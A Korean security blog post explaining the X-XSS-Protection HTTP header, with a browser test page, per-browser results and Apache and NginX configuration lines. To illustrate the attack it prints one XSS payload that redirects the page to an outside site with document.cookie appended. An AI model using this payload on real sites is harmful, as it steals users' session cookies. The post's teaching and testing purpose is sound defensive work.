홈페이지 취약점 분석 이야기 파일 지도 사진 깨알






>> 목록보이기
#X-XSS-Protection #HTTP 헤더 #시험페이지 #브라우저의 XSS 방어 #XSS #Cross-site Script #document.cookie #크로스사이트스크립트

X-XSS-Protection HTTP헤더: 외부 자바스크립트 실행 방어

X-XSS-Protection 헤더는 웹서버가 웹브라우저에게 HTML 삽입공격에 대한 방어를 전가시키는 것이다. "혹시나 내가 보내는 페이지에 공격자가 삽입한 자바스크립트가 있으면 네가 막아줬으면 좋겠어!"라는 뜻을 가진다. "X-XSS-Protection: 1"은 크로스사이트스크립트 공격만 차단하고 웹 페이지는 정상적으로 출력하라는 뜻이다. "X-XSS-Protection: 1; mode=block"은 크로스사이트스크립트를 탐지하면 웹 페이지를 사용자에게 아예 보여주지도 말라는 의미이다.

현재 이 페이지의 X-XSS-Protection 헤더 설정은 다음과 같습니다.
X-XSS-Procetion: 1

[당신의 웹 브라우저]
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)

다음 링크를 눌렀을 때 이 페이지가 http://www.memozee.com/?cook=NormalCookie=Not-HttpOnly-Cookie 등과 같이 타 홈페이지로 이동하면 X-XSS-Protection 헤더가 설정되어 있지 않거나 웹브라우저가 이 헤더를 지원하지 않는 것이다.

X-XSS-Protection 헤더 선언에 따른 웹브라우저의 방어 시험

[XSS 공격 내용]
없음

X-XSS-Protection 헤더와 XSS 공격에 대한 각 웹브라우저 반응

공격자가 HTML삽입으로 입력한 자바스크립트 공격구문(크로스사이트스크립트, XSS)이 "<script> document.location = 'http://www.memozee.com/?cook='+document.cookie; </script>"일 경우의 상황별 주요 웹브라우저의 반응은 다음과 같았다.

  • X-XSS-Protection 헤더를 설정하지 않았을 때 XSS 공격에 대한 웹브라우저별 반응
    • 구글 크롬: 외부 자바스크립트 탐지 및 실행 방어, 정상적인 페이지 출력
    • 사파리: 외부 자바스크립트 탐지 및 실행 방어, 정상적인 페이지 출력
    • 파이어폭스: 삽입 자바스크립트 실행, www.memozee.com으로 경로 이동
    • MS 엣지: 삽입 자바스크립트 실행, www.memozee.com으로 경로 이동
    • MS IE 11: 삽입 자바스크립트 실행, www.memozee.com으로 경로 이동
  • X-XSS-Protection: 1 설정시의 XSS 공격에 대한 웹 브라우저별 반응
    • 구글 크롬: 외부 자바스크립트 탐지 및 실행 방어, 정상적인 페이지 출력
    • 사파리: 외부 자바스크립트 탐지 및 실행 방어, 정상적인 페이지 출력
    • 파이어폭스: 삽입 자바스크립트 실행, www.memozee.com으로 경로 이동
    • MS 엣지: 삽입 자바스크립트 실행, www.memozee.com으로 경로 이동
    • MS IE 11: 삽입 자바스크립트 실행, www.memozee.com으로 경로 이동
  • X-XSS-Protection: 1; mode=block 설정시의 XSS 공격에 대한 웹 브라우저별 반응
    • 구글 크롬: 외부 자바스크립트 탐지 및 실행 방어, 빈 페이지 출력
    • 사파리: 외부 자바스크립트 탐지 및 실행 방어, 빈 페이지 출력
    • 파이어폭스: 삽입 자바스크립트 실행, www.memozee.com으로 경로 이동
    • MS 엣지: 삽입 자바스크립트 실행, www.memozee.com으로 경로 이동
    • MS IE 11: 삽입 자바스크립트 실행, www.memozee.com으로 경로 이동

Chrome defneds XSS
[ 구글 크롬의 XSS공격 방어 (X-XSS-Protection: 1 선언시) ]

구글크롬(Google Chrome) 브라우저는 X-XSS-Protection가 설정되지 않아도 공격자가 삽입한 자바스크립트 실행을 차단하였다. 즉, 크롬브라우저로 웹을 접속하면 모든 웹이 "X-XSS-Protection: 1" 헤더를 선언한 것과 동일한 효과를 볼 수 있다. "X-XSS-Protection: 1" 헤더를 전송시, 자바스크립트만 차단하고 웹 페이지는 정상적으로 표현하였다. "X-XSS-Protection: 1; mode=block" 헤더가 설정된 상태에서 자바스크립트를 삽입한 경우에는 아예 홈페이지 출력 자체를 거부하였다.

Safari defneds XSS
[ 사파리의 XSS공격 방어 (X-XSS-Protection: 1; mode=block 선언시) ]

사파리(Safari) 브라우저는 구글크롬과 동일한 결과를 보여주었다. X-XSS-Protection헤더 선언 여부에 상관없이 공격자가 삽입한 자바스크립트 실행을 차단하였다. "X-XSS-Protection: 1; mode=block" 헤더가 설정된 상태에서 자바스크립트를 삽입한 경우에는 - 구글크롬과 동일하게 - 아예 홈페이지 출력 자체를 거부하였다.

FireFox not defneds XSS
[ 파이어폭스의 XSS공격 미방어 (X-XSS-Protection: 1; mode=block 선언시) ]

파이어폭스(FireFox), MS 엣지(MS Edge), MS 인터넷익스플로러 11(MS Internet Expolorer 11) 브라우저는 X-XSS-Protection 헤더에 반응하지 않는 것으로 보인다. 이 헤더의 설정여부에 상관없이 공격자가 삽입한 자바스크립트를 모두 실행하였다.

서버별 X-XSS-Protection 헤더 설정방법

[Apache 웹서버]

Header set X-XSS-Protection “1; mode=block”

또는

Header always append X-XSS-Protection “1; mode=block”

아파치 웹서버의 설정파일(httpd.conf 또는 apache2.conf)에 위와 같이 추가하고 아파치 웹서버를 재기동한다.

[NginX 웹서버]

add_header X-Xss-Protection "1; mode=block" always;

NginX 웹서버의 설정파일에 위와 같이 추가하고 웹서버를 재기동한다.

[처음 작성한 날: 2016.11.19]    [마지막으로 고친 날: 2016.11.20] 


< 이전 글 : MIME 형식의 보안위협 완화: X-Content-Type-Options 헤더 (2016.11.20)

> 다음 글 : 방화벽을 노리는 블랙너스(Black Nurse) DoS 공격 (2016.11.18)


크리에이티브 커먼즈 라이선스 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다.
잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다.
문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문